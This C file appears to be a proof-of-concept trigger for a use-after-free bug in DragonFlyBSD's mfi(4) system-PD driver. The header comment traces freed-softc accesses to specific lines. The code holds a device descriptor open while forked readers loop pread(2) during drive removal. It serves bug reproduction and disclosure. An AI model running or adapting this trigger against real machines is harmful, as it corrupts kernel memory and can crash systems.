/* syspd_hold.c - DF-5049 precondition demonstrator / hardware trigger.
 *
 * DragonFlyBSD mfi(4) system-PD lifetime bug (sys/dev/raid/mfi/mfi_syspd.c).
 *
 * On real hardware (LSI MegaRAID with a JBOD exposed as SYSTEM PD):
 *   - open /dev/mfisyspdN and keep the descriptor open (O_RDWR)
 *   - background readers issue pread(2) in a loop -> in-flight/parked bios
 *     with bio->bio_driver_info = &mfi_system_pd (mfi_syspd.c:278)
 *   - remove the physical drive (or let firmware raise MR_EVT_PD_REMOVED).
 *     mfi_decode_evt (mfi.c:1513-1532) then calls device_delete_child()
 *     with NO mfi_io_lock, NO mfi_syspd_disable() gate and NO drain:
 *       mfi_syspd_detach (mfi_syspd.c:155-177) runs kfree(sc->pd_info)
 *       and device_detach -> device_set_driver(dev,NULL) ->
 *       kfree(dev->softc) (kern/subr_bus.c:1944) while our fd is open.
 *   - every subsequent pread(2)/close(2) on the held fd routes through
 *     mfi_syspd_strategy/mfi_syspd_close with a dangling si_drv1:
 *       strategy writes devstat_start_transaction(&sc->pd_devstat)
 *       (mfi_syspd.c:281) and completion writes
 *       devstat_end_transaction_buf(&sc->ld_devstat) (mfi_disk.c:310)
 *       into the freed slab.  Parked bios are later dequeued by
 *       mfi_bio_command (mfi.c:1960-1968) which reads mfid->ld_flags
 *       from the freed softc.
 *
 * Expected on hardware: reads keep "succeeding"/erroring through freed
 * memory (no ENXIO - the cdev ops and si_drv1 survive disk_destroy);
 * under UMA sanitizer/KASAN this trips immediately.
 *
 * Expected on this QEMU guest (no MegaRAID PCI device): open(2) fails
 * with ENOENT - the hardware gate itself.
 */
#include <sys/types.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static volatile sig_atomic_t stop;

int main(int argc, char **argv)
{
	const char *dev = (argc > 1) ? argv[1] : "/dev/mfisyspd0";
	char buf[512];
	ssize_t n;
	int fd, i;

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		printf("open(%s) failed: %s  <- hardware-gated guest\n",
		    dev, strerror(errno));
		return (2);
	}
	printf("opened %s - holding fd; pull the drive / await "
	    "MR_EVT_PD_REMOVED now\n", dev);

	for (i = 0; i < 4; i++) {
		pid_t p = fork();
		if (p == 0) {
			for (;;) {
				n = pread(fd, buf, sizeof(buf), 0);
				if (n < 0)
					printf("reader: pread errno=%d (%s)\n",
					    errno, strerror(errno));
				usleep(20000);
			}
		}
	}
	printf("4 readers running; fd stays open across syspd delete\n");
	pause();
	return (0);
}
